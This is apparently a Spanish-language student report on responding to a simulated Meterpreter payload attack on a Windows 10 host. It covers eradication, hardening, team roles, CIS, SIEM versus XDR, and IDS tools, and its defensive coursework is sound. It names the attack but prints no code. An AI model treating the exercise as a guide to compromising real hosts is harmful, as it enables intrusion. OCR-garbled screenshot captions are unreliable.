B Proteccidon antivirus y contra Proteccion de cuentas Firewall y proteccion de red
amenazas Mo se reguiere ninguna accion. No se reguiere ninguna accién.

= No se reguiere ninguna accién.

@

d 5 <

Control de aplicaciones y Seguridad del dispositivo Rendimiento y estado del

navegador Ver el estado y administrar las dispositivo

No se requiere ninguna accién, caracteristicas de seguridad de No se requiere ninguna accion,
hardware

Fuente: El autor.

En las siguientes imagenes se evidencia la configuracion de las actualizaciones
del software, sistema operativo y demas servicios de Microsoft

Imagen 29 evidencia de la configuracion de las actualizaciones

&« Configuracidn —

Papelera d

&0 @ Opciones avanzadas

Opciones de actualizacion

Recibir actualizaciones para otros productos de Microsoft al actualizar Windows

0 Activado

Descargar actualizaciones en conexiones de uso medido (se pueden aplicar cargos adicionales)

@ Desactivado

Reinicia este dispositivo lo antes posible cuando sea necesario reiniciar para instalar una actualizacion, Windows
mostrara un aviso antes del reinicio, y el dispositive debe estar encendido y conectado.

Q Activado

Fuente: El autor.
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Imagen 30 evidencia del sistema actualizado

@ Inicio Windows Update

| iTodo esta actualizado!
Ultima comprobacién: hoy, 9:15 a. m.

Actualizacion y seguridad

Buscar actualizaciones

Fuente: El autor.

En la siguiente imagen se aprecia la interfaz para la creacion de una copia de
seguridad en la nube de OneDrive. Los paso son los siguientes:

Ir a configuracion

Copias de seguridad

Elegir la opcion mas conveniente (fuente externa o la nube)
Configurar OneDrive

Imagen 31 interfaz copia de seguridad

@ Inicio l; Copia de seguridad

Buscar una configuracion 2

Hacer copias de seguridad de los archivos en
OneDrive

Actualizacion y seguridad
Los archivos se guardaran en OneDrive, se protegeran y podras
obtener acceso a ellos desde cualguier dispositive.

S Windows Update Iniciar sesion en OneDrive

& Microsoft Onelrive
M Optimizacién de dist

$  Seguridad de Windo Configurar OneDrive

Pon tus archivos en OneDrive para acceder a ellos desde cualquier dispositivo.

M Cmmin A eaes Al

Fuente: El autor.
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1.4.3 Paso a paso de la erradicacién del ataque

Genere un documento donde mencione el paso a paso utilizado para asegurar y
erradicar el ataque ejecutado en la Etapa 4.

Tomando como referencia la informacion suministrada por el administrador, se
procedié a simular el ataque, mediante el uso de un Payload alojado en un archivo
con extensién .exe. Ya teniendo claridad sobre lo sucedido se procede a erradicar
el ataque y hardenizar el sistema de la siguiente manera:

1.4.3.1 Erradicando el ataque

El ataque necesita que el archivo ejecutable que contiene el Payload este
corriendo, y teniendo en cuanta que Windows no permite eliminar un archivo en
usos, se procede a reiniciar el sistema, de este modo se detiene el ataque.

e Se verifica que la alerta es verdadera.

Se identifica el sistema operativo Windows 10 x64 como Uunico activo
comprometido.

Se identifica que el ataque es realizado mediante un Payload.

Se determina que el alcance del ataque se limita un solo host

Se localiza el archivo malicioso

Se reinicia el sistema operativo

1.4.3.2 Hardenizacién del sistema

Este proceso se realiza tomado como referencia y adaptando a la necesidad
puntual la guia de hardenizacion de Windows 10 que se describié anteriormente.

Verificar que el archivo malicioso ya no esta
Activacion del firewall de Windows
Activaciéon de Windows defender
Actualizacién del sistema

Realizar copia de seguridad en la nube

A continuacioén, se da respuesta a las preguntas orientadoras

1.4.4 Primera pregunta sobre identificacion de ataque

¢Ante un ataque informatico en tiempo real usted como experto en Ciberseguridad
gué pasos toma para identificar dicho ataque? Debe listar y explicar cada uno de
estos pasos.

A continuacién, en una tabla se lista y explica el paso a paso a seguir para
identificar y mitigar el ataque, es importante mencionar que se debe proceder lo
mas rapido posible.
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Tabla 10 identificacion y mitigacion del ataque

Pasos Procedimientos Descripcion y explicacion
Deteccion Verificacién de Teniendo en cuanta que las alertas pueden llegar de
inicial alertas distintas fuentes, se deben confirma para descartar falsos

positivos.

Contenciény
aislamiento?®

Identificacion de

¢ Identificar vulnerabilidades que estan siendo

la amenaza explotadas
e |dentificar sistemas comprometidos
¢ Identificar las tacticas utilizadas por el atacante
e Determinar el alcance del atague

Contencion Medidas opcionales segun la identificacién anterior

e Desconexion de los sistemas afectados
e Restriccion de acceso a activos criticos
e Restriccion a cunetas de usuario

Recopilacion
de evidencia®®

Registros de

Es importante la captura de registros de la actividad ya

actividad gue pueden ser necesarios para posterior analisis 0 como
insumo para la investigacion forense.

Registro de Se debe documentar el incidente sin omitir detalles:

incidentes e Tipo de ataque

e Sistemas afectados
¢ Medidas tomadas

Andlisis Investigacion Realizar analisis forense para comprender el ataque y su
forense*’ impacto.

Recuperacién Preservar y asegurar la evidencia para posteriores

de evidencia analisis o acciones de tipo legal.
Mitigacion y Mitigacion Estas medidas dependen de algunos factores como el

Recuperacion®

tipo de ataque, el alcance, los sistemas afectados etc.
Eliminacién del malware

Bloqueo de trafico malicioso

Correccién de vulnerabilidades

Instalacion de herramientas (firewall, IPS, antivirus)
Actualizacion de sistemas y herramientas

Parchar el sistema

Configuracion adecuada de herramientas

Incluir nuevas reglas de firewall

Recuperacién
del sistema

Iniciar restauracién de los sistemas comprometidos a
partir de las copias de seguridad

45 CIBERSEGURIDAD. Ciberataques, guia para la gestion y notificacién de ataques informaticos.
[en linea]. (23 de marzo de 2023). [Sin fecha]. Disponible en:
https://ciberseguridad.com/ciberataques/

46 PAREDES, Martha. ¢ Sabias que hay equipos especificos para ciberseguridad? [en linea]. (2 de
mayo de 2023). [Consultado el 15 de septiembre de 2023]. Disponible en:
https://www.linkedin.com/pulse/sabias-que-hay-equipos-espec%C3%ADficos-para-paredes-
cibersequridad-/?originalSubdomain=es

47 Ibid., p. 1.

48 CIBERSEGURIDAD, Op. cit., p. 1.
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Notificaciones*® Notificacion Informar a la direccion de la organizacion y a todos los
interna interesados, segun las politicas establecidas.
Notificacion En caso de ser necesario se debe notificar a las
externa autoridades competentes

Fuente: El autor.

1.4.5 Segunda pregunta sobre la subsanacion del sistema
¢ Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red team liste el
paso a paso que ejecutd para subsanar el sistema ante el evento del Payload?

En la siguiente tabla de describe el paso a paso para subsanar el evento del
Payload, es de mencionar que no se realizaron maniobras forenses, ni se elabora
informe externo.

Tabla 11 paso a paso para subsanar el evento del Payload

Pasos Procedimientos Descripcion
Deteccién Verificacién de En este caso la alerta es veridica, ya que es
inicial alertas proporcionada por el administrador del equipo afectado.
Contenciény Identificacion de e  Se realiza una simulacion del ataque
aislamiento la amenaza e Se identifica el sistema operativo Windows 10 x64
¢ Se identifica ataque mediante Payload
e Afectacion de un solo host
Contencién No fue necesario aislar el sistema
Recopilacion Registro de e Ataque mediante un Payload de tipo Meterpreter que
de evidencia incidentes permitio al atacante ejecutar acciones remotas en la
magquina victima, eliminacién de documento .txt
e Sistema operativo afectado, Windows 10 x64
Mitigacion y Mitigacion Eliminacién del malware (Payload en archivo .exe)

Recuperacion

Activacion de firewall (integrado en sistema operativo)
Activacion de antivirus (Windows defender)
Actualizacién de sistemas operativo

Realizar copia de seguridad en la nube.

Recuperacién

En este caso no fue necesaria la recuperacién del sistema,

del sistema ya que solo se afectd un archivo de texto.
Notificaciones  Notificacion Se elabora informe para la alta gerencia
interna

Fuente: El autor.

49 CIBERSEGURIDAD. Ciberataques, guia para la gestion y notificacién de ataques informaticos.

[en linea].

(23 de

marzo de

2023). [Sin fecha]. Disponible en:

https://cibersequridad.com/ciberataques/

49


https://ciberseguridad.com/ciberataques/

1.4.6 Tercera pregunta sobre diferencias entre equipos

Sabemos que existen equipos Blue Team y Red Team, pero entonces ¢ qué
diferencia existen entre los equipos antes mencionados con el Purple Team y
equipos de respuesta a incidentes informaticos?

Con el fin de comprender mejor las diferencias, a continuacion, se define cada
uno.

1.4.6.1 Equipo Red Team

Tienen como objetivo encontrar vulnerabilidades y explotarlas de manera
controlada, es decir, siguiendo una serie de pautas definidas por la organizacion,
por la legislacion y cédigos de ética, con el fin de no incurrir en actos delictivos ni
afectar negativamente el sistema.

Estos ataques son realizados mediante las mismas herramientas y metodologias
de testing que usaria un delincuente informéatico, sin que exista la necesidad de
informar del ataque al equipo blue team, de este modo también se puede medir la
capacidad de andlisis y respuesta. También es importante mencionar que el
equipo red team debe suministrar un informe detallado con los procedimientos
realizados, los hallazgos y recomendaciones para fortalecer la seguridad de la
organizacion®°.

1.4.6.2 Equipo Blue Team

Son los encargados de mantener la seguridad de la red y los sistemas de la
organizacion, deben conocer el sistema de gestion de la seguridad de la
informacion (SGSI) o la estrategia de seguridad implementada por la
organizacion®', ademas deben tener claros los objetivos del negocio, también
deben encargarse de auditar el sistema de manera periddica.

Una de las herramientas de este equipo es la evaluacion de riesgos, mediante
estos resultados pueden definir las estrategias y herramientas a utilizar para
hardenizar el sistema. Dependiendo de la criticidad de los activos puede ir desde
una defensa en profundidad hasta estrategias de cero trust. Sin embargo, los blue
team no se limitan solo a la prevencion y deteccion temprana de un ataque.
También se encargan de realizar analisis forense, mitigacion de la amenaza, la
recuperacion de los sistemas afectados y se encargan de realizar las mejoras de
seguridad, en base a lo observado en el incidente.

50 INTELEQUIA. Red team y blue team - funciones y diferencias en ciberseguridad. [en linea]. (26
de enero de 2021). [Consultado el 15 de septiembre de 2023]. Disponible en:
https://intelequia.com/blog/post/red-team-y-blue-team-funciones-y-diferencias-en-ciberseguridad
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1.4.6.3 Equipo Purple Team

Estos equipos se centran en mejorar la seguridad de los activos de informacion de
la organizaciéon mediante la coordinacion, integraciéon y comunicacion directa®? con
los equipos red team y blue team, con el objetivo de fortalecer proactivamente las
defensas y mejorar la postura de seguridad. Es de aclarar que no se limitan a
hacer de puente entre red y blue team, también aportan en la revisiébn de
resultados, identificacion de debilidades y areas de mejora.

1.4.6.4 Equipos de respuesta a incidentes informaticos

Son equipos dedicados a la contencién, erradicacién y recuperacién®?® ante
incidentes de seguridad informatica, sin adoptar posiciones ofensivas ni formar
parte de procesos judiciales, salvo en algunas ocasiones muy particulares®*, estos
equipos pueden pertenecer a una organizacion privada, prestar servicios al publico
en general o pertenecer a organizaciones gubernamentales.

Aunque participan en labores preventivas, estan disefiados para el post ataque, es
decir, empiezan a realizar su labor una vez recibida la denuncia del incidente,
iniciando con un triage que permite disefar el tipo de respuesta y la prioridad.

1.4.6.5 Diferencias

En cuanto a los equipos red team y blue team las diferencias son evidentes, los
red team estan disefiados para la ofensiva y los blue team para la defensiva.
Mientras que el purple team contiene a los dos equipos defensivo y ofensivo,
mejorando la comunicacion y aportando valor agregado.

En cuanto a los purple team y los equipos de respuesta a incidentes informéticos
(CSIRT por sus siglas en inglés o ERT por sus siglas en espafiol)®®. Los purple
team se enfocan en la mejora de la seguridad de manera proactiva, mientras que
los ERTSs tienen un enfoque reactivo. Es importante mencionar que los CSIRTs
estan mas enfocados a la parte institucional.

52 INCIBE. Purple Team incrementa la efectividad del Red Team y Blue Team en SCI. [en lineal].
(27 de julio de 2023). [Consultado el 15 de septiembre de 2023]. Disponible en:
https://www.incibe.es/incibe-cert/blog/purple-team-incrementa-la-efectividad-del-red-team-y-blue-
team-en-sci

53 NIST. Computer incident response team (CIRT). [en linea]. [Consultado el 19 de septiembre de
2023]. Disponible en:
https://csrc.nist.gov/glossary/term/computer_incident_response_team#:~:text=Definitions%3A,result
ing%20from%20computer%20security%20incidents.

5 FUNDACION DOJO, Equipos de respuesta a incidentes informaticos. [en linea]. (25 de julio de
2019). [Consultado el 15 de septiembre de 2023]. Disponible en:
https://www.youtube.com/watch?v=1vVfigXuPuM
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1.4.7 Cuarta pregunta sobre CIS

¢ Qué funcién tiene CIS “Center For Internet Security” dentro de equipos Blue
Team? Usted debe realizar un pequefio tutorial de cdmo funciona CIS y qué se
debe hacer para encontrar los tutoriales que posee.

1.4.7.1 (Qué es CIS?

CIS (Center for Internet Security) Es una organizacién sin animo de lucro dedicada
a la mejora de la ciberseguridad globalmente®®, trabaja en alianza con expertos en
ciberseguridad en el desarrollo de buenas practicas de seguridad de la
informacion. Entre sus contribuciones se destaca el CIS Controls, que es un marco
con 20 controles prioritarios enfocados en la mejora de la ciberseguridad de las
organizaciones®’.

También ofrece programas de capacitacibn en ciberseguridad que incluyen
certificaciones, como la CIS-CAT que esta relacionada con evaluaciones de
cumplimiento®. CIS recopila informacion sobre amenazas y vulnerabilidades, esta
informacion es compartida mediante unos centros de analisis: Analysis Center"
(MS-ISAC), Analysis Center" (EI-ISAC).

1.4.7.2 Funcion de CIS dentro de los blue team

CIS proporciona normas y mejores practicas de seguridad que ayudan a
endurecer la seguridad de la organizacién. Entre estas buenas practicas estan los
CIS Controls que proporcionan una guia completa para los equipos blue team,
ayudando a estos equipos en la configuracion de sistemas y redes mas seguras.

CIS también provee programas de capacitacion y certificaciones que contribuyen a
potenciar la habilidades de los blue team®°, CIS también fomenta la participacion
en comunidades orientadas a la ciberseguridad, permitiendo a los blue team,
compartir experiencias y conocimientos.

56 MICROSOFT. Center for Internet Security (CIS) Benchmarks. [en linea]. (6 de mayo de 2023).
[Consultado el 16 de septiembre de 2023]. Disponible en: https:/learn.microsoft.com/en-
us/compliance/requlatory/offering-cis-benchmark

57 IBM. ¢,Qué son los puntos de referencia de CIS? [en linea]. [Consultado el 16 de septiembre de
2023]. Disponible en: https://www.ibm.com/mx-es/topics/cis-benchmarks

58 TOOLKIT. CIS-CAT Pro. [en linea]. [Consultado el 16 de septiembre de 2023]. Disponible en:
https://gcatoolkit.org/es/herramienta/cis-cat-
pro/#:~:text=Center%20for%20Internet%20Security%2DConfiguration,en%20contenido%20legible
%20por%20m%C3%Alquina.

59 CIS. Making the Connected World a Safer Place. [en linea]. [Consultado el 16 de septiembre de
2023]. Disponible en: https://www.cisecurity.org/
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1.4.7.3 Tutorial, funcionamiento de CIS

Sitio web oficial de CIS: https://www.cisecurity.org/.

En el mena principal dar clic en: CIS Controls o Critical Security Controls
Ver la documentacion de los controles que se organiza en grupos
Descargar los controles en formatos pdf, segun la necesidad

Ver las recomendaciones especificas para cada control

Implementar los controles

e Determinar estrategia de monitoreo

¢ Realizar evaluaciones periodicas para verificar el adecuado cumplimiento
e Identificar areas de mejora

e Ajusta las politicas y las configuraciones segin nuevas amenazas

1.4.7.4 ;Cbmo encontrar tutoriales de CIS?

e Sitio web oficial: https://www.cisecurity.org/

e Explorar el menu principal, en busca de guias, tutoriales o capacitaciones, etc.

e Puede usar el cuadro de busqueda, para consultas especificas mediante
palabras clave

¢ Algunos recursos pueden solicitar estar registrado

e En caso de necesitar ayuda para un tutorial en especifico, puede acceder a
informacién de contacto del sitio web.

1.4.8 Quinta pregunta sobre diferencias entre SIEM y XDR

Debera documentar mediante la elaboracion una tabla las diferencias existentes
entre: SIEM y XDR.

1.4.8.1 SIEM

Gestidn de la informacion y eventos de seguridad (en inglés, Security Information
and Event Management), es una tecnologia que permite recopilar, analizar y
gestionar informacién de eventos de seguridad en tiempo real, con el fin de
encontrar amenazas, antes de que se vea afectada la continuidad del negocio.
SIEM es la combinacién de: la administracion de informaciéon de seguridad (SIM) y
la administracion de eventos de seguridad (SEM)%, SIEM recopila datos de
registros y eventos desde diversas fuentes de la red, los almacena y contrasta con
reglas predeterminadas, con esta informacién presenta informes que permiten
adelantarse a los incidentes, protegiendo al sistema de manera proactiva.

60 MICROSOFT. ¢Qué es SIEM? [en linea]. (2023). [Consultado el 15 de septiembre de 2023].
Disponible en: https://www.microsoft.com/es-mx/security/business/security-101/what-is-
siem#:~:text=Prequntas%20m%C3%A1s%20frecuentes-

,Definici%C3%B3n%20de%20SIEM, afecten%20las%20operaciones%20del%20negocio.
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1.4.8.2 XDR

Deteccion y respuesta extendida XDR, se trata de una herramienta que ofrece
seguridad holistica mediante la integracion de mudltiples herramientas, de este
modo proporciona proteccion mas completa y automatizada, con el fin de mitigar
amenazas sofisticadas de manera eficiente®?.

XDR no solamente recopila datos de registros y eventos de seguridad, también lo
hace desde puntos finales (endpoints), sistemas de red, aplicaciones en la nube®?,
etc. De este modo proporciona una vision mucho mas completa de las posibles
amenazas. Ademas, esta disefiado para responder de manera automatizada o
asistida para mejorar el tiempo de respuesta en la mitigacién de la amenaza®.

A continuacion, se recopilan las diferencias mas importantes entre SIEM y XDR
mediante una tabla

Tabla 12 diferencias entre SIEM y XDR

items SIEM XDR

Alcance Esta orientado a la recopilacion, Recopila datos de una gran cantidad de
correlacién y analisis de registrosy  fuentes: registros, eventos, endpoints,
eventos, desde una gran variedad aplicaciones en la nube, etc.
de fuentes. Con el fin de generar Con el fin de encontrar amenazas
alertas. desconocidas y patrones de

comportamiento anémalo

Enfoque Esta centrado en la correlaciéon de Esta centrado en la detencién y
eventos, basado en patrones respuesta extendida. Mediante analisis
conocidos y reglas de comportamiento e inteligencia
predeterminadas artificial.

Deteccién y Esta disefiado para la deteccion de  Esta disefiado con capacidades

respuesta amenazas y la emisién de alertas. avanzadas de deteccion y respuesta,
Sin embargo, la respuesta esta entre sus caracteristicas esta la
limitada y la mayoria de los casos respuesta automatizada que permite
depende de intervenciéon humana. acortar el tiempo de mitigacion

Escalabilidad Requiere de configuracion Esta disefiado para ser escalable en

compleja y coste elevado.

entornos de diferentes tamafos.

Fuente: El autor.

61 ADVANCE NETWORKS. ¢Qué es XDR en Ciberseguridad y para qué sirve? [en linea]. (23 de
septiembre de 2021). [Consultado el 16 de septiembre de 2023]. Disponible en: https://advance-
nt.com/2021/09/23/que-es-xdr-en-ciberseguridad-y-para-que-sirve/

62 CISCO. What Is Extended Detection and Response (XDR)? [en linea]. [Consultado el 16 de
septiembre de 2023]. Disponible en: https://www.cisco.com/c/en/us/products/security/what-is-
xdr.html#:~:text=Extended%20detection%20and%20response%20(XDR,remediate%20today's%20
and%20tomorrow's%20threats.

63 MICROSOFT. ¢Qué son la deteccion y respuesta extendidas (XDR)? [en linea]. (2023).
[Consultado el 16 de septiembre de 2023]. Disponible en: https://www.microsoft.com/es-
es/security/business/security-101/what-is-xdr
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1.4.9 Sexta pregunta sobre herramientas de deteccion de atagues

Defina por lo menos 3 herramientas de deteccion de ataques informéticos con
licencia GPL.

1.4.9.1 Snort

Es una herramienta IDS/IPS (IDS sistema de deteccion de intrusos e IPS sistema
de proteccion de intrusos), disefiada para analizar el trafico y los protocolos de la
red, mediante la busqueda de patrones de comportamiento y firmas de ataques ya
conocidos, con el fin de detectar y prevenir incidentes de seguridad, esto se logra
mediante la comparacion de los datos obtenidos con una serie de reglas, entre las
cuales hay unas ya predefinidas y otras que pueden ser creadas o adaptadas por
el usuario®.

En el modo IDS Snort se limita a detectar la actividad sospechosa y generar
alertas, mientras que el modo IPS ademas de la deteccibn toma medidas de
blogueo para prevenir la actividad maliciosa. Como valor agregado, Snort cuanta
con una comunidad de usuarios que contribuyen a la mejora y actualizacion de las
reglas, y la mejora del software en general.

Snort es compatible con otras herramientas orientadas a la seguridad, como SIEM
(Security Information and Event Management), ademas, es bastante flexible de
modo que se puede adaptar a las necesidades de la red en una gran variedad de
entornos®.

1.4.9.2 Suricata

Es una herramienta de tipo IDS/IPS que permite configurar alguno de los dos
servicios, en el modo IDS detecta amenazas y genera alertas mientras que el
modo IPS puede tomar medidas para bloquear actividades maliciosas®®. Suricata
se caracteriza por una alta velocidad y buen rendimiento que le permite realizar
analisis en tiempo real a alta velocidad.

Utiliza reglas y filtros para contrastar con los datos analizados y determinar si
existen patrones de trafico que coinciden con amenazas documentadas, permite la

64 KEEPCODING. ¢Qué es Snort en ciberseguridad? [en linea]. (8 de septiembre de 2022).
[Consultado el 16 de septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-snort-
en-ciberseqguridad/

65 CIBERSEGURIDAD. Analizando Snort. [en linea]. [Consultado el 16 de septiembre de 2023].
Disponible en: https://ciberseguridad.com/servicios/sistema-deteccion-intrusos-
ids/snort/#Puede_instalarse_en_cualquier_entorno_de red

66 KEEPCODING. ¢Qué es Suricata en ciberseguridad? [en linea]. (31 de julio de 2023).
[Consultado el 16 de septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-
suricata-en-cibersequridad/
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configuracion y personalizacion de las reglas de acuerdo con las necesidades del
usuario. Suricata es compatible con una gran variedad de protocolos de red y es
de facil integracion con otras herramientas, como SIEM.

Suricata fue desarrollada por OSIF (Open Information Security Foundation)®’, que
se encarga del mantenimiento, también cuenta con una comunidad activa que
contribuyen a la actualizacién de reglas y el software en general.

1.4.9.3 OSSEC

Se trata de una herramienta HIDS (Sistema de Deteccion de Intrusos de Host) e
HIPS (Sistema de Prevencion de Intrusos de Host), es decir, es un IDS/IPS
disefiado para operar de manera local en el host y no en toda la red®. OSSEC
utiliza reglas y decodificadores que se pueden adaptar segun las necesidades del
usuario o también permite la creacion de reglas personalizadas®®.

En el modo IDS monitorea y analiza eventos en el host (servidores o estaciones
de trabajo) entre los que pueden estar: actividades del host, registros de seguridad
del sistema y eventos de seguridad, estos son contrastados con las reglas
establecidas con el fin de determinar si existen comportamientos anémalos y
generar alertas en tiempo real.

En cuanto a la funcion HIPS permite configurar acciones que permiten responder
de manera automatizada ante anomalias especificas. Es importante agregar que
OSSEC es escalable y multiplataforma.

1.5 ETAPA 5 SOCIALIZACION DEL INFORME TECNICO
A continuacién, se da respuesta a las preguntas orientadoras.

1.5.1 Primera pregunta sobre el aporte de los red, blue y purple team

De qué manera pueden aportar en el campo de la ciberseguridad la integracion de
equipos blue team, red team y purple team al mismo tiempo dentro de una
organizacion.

67 KEEPCODING. (Qué es Suricata en ciberseguridad? [en linea]. (31 de julio de 2023).
[Consultado el 16 de septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-
suricata-en-cibersequridad/

68 OSSEC. Server Intrusion Detection for Every Platform. [en linea]. [Consultado el 16 de
septiembre de 2023]. Disponible en: https://www.ossec.net/

69 KEEPCODING. ¢Qué es OSSEC? [en linea]. (7 de diciembre de 2022). [Consultado el 16 de
septiembre de 2023]. Disponible en: https://keepcoding.io/blog/que-es-ossec/

0 |bid., p. 1.
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Los red team y los blue team tienen roles diferentes y complementarios, por lo
tanto, es necesario que las organizaciones cuenten como minimo con estos dos
equipos para cubrir todo el abanico de requerimientos. Por su parte los purple
team reldnen las caracteristicas de los equipos mencionados anteriormente, sin
embargo, sus capacidades no se limitan a un compilado de roles red team y bue
team.

Es decir, los purple team ademas de lo mencionado también complementan a los
anteriores equipos: por un lado, facilitan la comunicacion asertiva entre los red y
blue team, también compilan he organizan la totalidad de la informacién recabada
para disefar estrategias que redireccionen el actuar de los otros equipos, con el
objetivo de cefir mucho mas la estrategia de seguridad de acuerdo con los
objetivos del negocio.

1.5.2 Segunda pregunta sobre politicas de seguridad y recomendaciones

Plantee politicas de seguridad y recomendaciones para mejorar los aspectos de
ciberseguridad en cualquier organizacién en sus entornos TI.

Las politicas de seguridad deben estar orientadas al cumplimiento de los objetivos
de la organizacion, si bien existen marcos que sirven para guiar a los equipos en
el disefio de las estragdis de seguridad cada organizacion tiene necesidades y
capacidades particulares, por lo tanto, estos marcos se deben ajustar de manera
personalizada.

Por ejemplo. Una organizacion pequefia con recursos limitados no deberia disefar
una estrategia de cero trust en la totalidad de la organizacién, teniendo en cuenta
la cantidad de recursos necesarios, por el contrario, la estrategia de seguridad
deberia endurecer mucho mas los sectores criticos, y ser flexibles en otros
sectores menos relevantes. De este modo se acomoda el coste y las necesidades
de la organizacion, también es importante mencionar que, a mayor cantidad de
dispositivos de seguridad menor velocidad de la red.

En base a lo anterior y aterrizado a la situacién de seguridad planteada en el
anexo 4 escenario 3, como ejemplo: en este caso no se deberia implementar un
IDS que sature parte de la red, porque el problema se limito a un solo nodo, por lo
tanto, lo mas recomendable seria una solucion de tipo HIDS para monitorear
solamente el nodo problemético.

En conclusion, una politica de seguridad aplicable a la mayoria de las
organizaciones deberia incluir:

¢ Un equipo que centralice los datos (purple team).
e Contar con los roles de defensa y ataque (blue team y red team).
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e Presupuesto adecuado (Priorizar inversion segun el analisis de riesgo).

e Tecnologias y herramientas adecuadas (segun objetivos del negocio).

e Educacion y concienciacion permanente (debido a la evolucion del entorno).
e Colaboracién con terceros (adquirir servicios o trasferir riesgos).

e Evaluacién continua (debido a nuevas vulnerabilidades y amenazas).

e Cumplimiento de la normatividad (internacionales, locales y éticas).

1.5.3 Tercera pregunta sobre inversion en ciberseguridad

Conclusiones que orienten aspectos importantes en cuando a la inversion de
ciberseguridad dentro de las organizaciones.

Definitivamente todas las organizaciones independientemente del tamafio y otros
factores diferenciadores deben invertir en su propia seguridad, ya sea que
conformen sus equipos 0 contraten servicios de terceros, lo importante es que
cuenten con politicas de seguridad ajustadas de acuerdo con sus necesidades.

Las politicas de seguridad disefiadas en base a los objetivos del negocio abaratan
costos, teniendo en cuenta que se implementan solo las medidas necesarias y se
realizan ajustes segun la evolucion de los objetivos actuales, los nuevos objetivos
y el entorno cambiante.

Por motivos de coste y tiempo resulta mucho mas facil y practico realizar
inversiones de seguridad de manera gradual. Por lo tanto, es importante realizar
una evaluacion de riesgos con el fin de identificar los activos criticos y las
vulnerabilidades y amenazas que requieran ser atendidas de manea prioritaria, o
las que deban ser trasferidas a terceros.

Es clave que dentro de la inversion en ciberseguridad se destinen los recursos
necesarios para la capacitacion del personal segun los roles dentro de la
organizacion, esto se debe a que la seguridad no se limita a la infraestructura
fisica e intrusién de tipo virtual, ya que por mucho que estén aseguradas puede
resultar relativamente sencillo y econémico encontrar vectores de ataque por
medio de ingenieria social.

1.6 VIDEO DE SUSTENTACION

Enlace a carpeta en Google Drive:
https://drive.google.com/drive/folders/1VcIJDUEhVV7Wu25149XIfYNv8i93bgP5f?us

p=sharing

58


https://drive.google.com/drive/folders/1VcJDUEhVv7Wu25I49XIfYNv8i93bqP5f?usp=sharing
https://drive.google.com/drive/folders/1VcJDUEhVv7Wu25I49XIfYNv8i93bqP5f?usp=sharing

CONCLUSIONES
A continuacion, las conclusiones del trabajo.

Los profesionales de la seguridad informatica con roles de red team se encargan
de realizar pruebas de penetracion, que en la mayoria de las ocasiones requieren
de planes muy elaborados y el uso de diversas herramientas que pueden llegar a
dafar la infraestructura critica del sistema. Con el fin de evitar este tipo de
inconvenientes, se debe definir de manera clara el alcance de las pruebas, estas
delimitaciones también son importantes para proteger a los profesionales ante
posibles repercusiones legales.

Mientras que los red team en su rol de ataque se enfocan en identificar
vulnerabilidades y exponer fallos de seguridad, los blue team en su rol defensivo
se encargan de la proteccion del sistema ante amenazas. Por lo tanto, la
comunicacion efectiva entre estos equipos es fundamental para fortalecer la
postura de seguridad informatica de una organizacion.

En un mundo tecnolégico cada vez mas interconectado es muy importante contar
con marcos y estrategias colaborativas, como es el caso de la organizacién CIS
(Center for Internet Security) que brinda un catalogo de ayuda bastante amplio,
para los equipos encargados de la seguridad de las infraestructuras tecnolégicas
de las organizaciones.

Ademas de los red team, blue team y purple team, existen los equipos de
respuesta a incidentes informaticos (CSIRT por sus siglas en inglés), estos
equipos pueden proporcionar ayuda a pequefas organizaciones y particulares que
no cuenten con los recursos para gestionar su propia seguridad, sin embargo, el
flujo de trabajo que manejan este tipo de equipos puede llegar a ser demasiado
grande, por lo tanto, no es una buena solucion cuando se requiere inmediates.
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RECOMENDACIONES
A continuacion, las recomendaciones derivadas del trabajo realizado.

El rapido avance tecnoldgico hace que cada vez los ataques a los sistemas de
informacion sean mucho mas elaborados y necesiten menos recursos, por lo
tanto, es necesario que los equipos encargados de la seguridad de la informacion
estén en constante evolucion, para adaptarse rapidamente a las nuevas
exigencias.

Los ataques informéticos van en aumento, como consecuencia de esto las
organizaciones estan tomando conciencia sobre la importancia de invertir en
seguridad. Sin embargo, la parte legislativa en ocasiones se queda corta y la
cobertura por parte de las autoridades competentes aun es precaria, por lo tanto,
se recomienda hacer esfuerzos mancomunados para que se logre dar con los
ciberdelincuentes e imponer las sanciones pertinentes.

Es importante que los gobiernos y las organizaciones privadas inviertan mas
recursos en todo lo relacionado con la seguridad informatica, enfocados a la
prevencion de incidentes, teniendo en cuanta que es mucho mas costosa la
recuperacion de los sistemas, ademas, por el alto impacto negativo que puede
llegar a tener un ataque en la vida de las personas.
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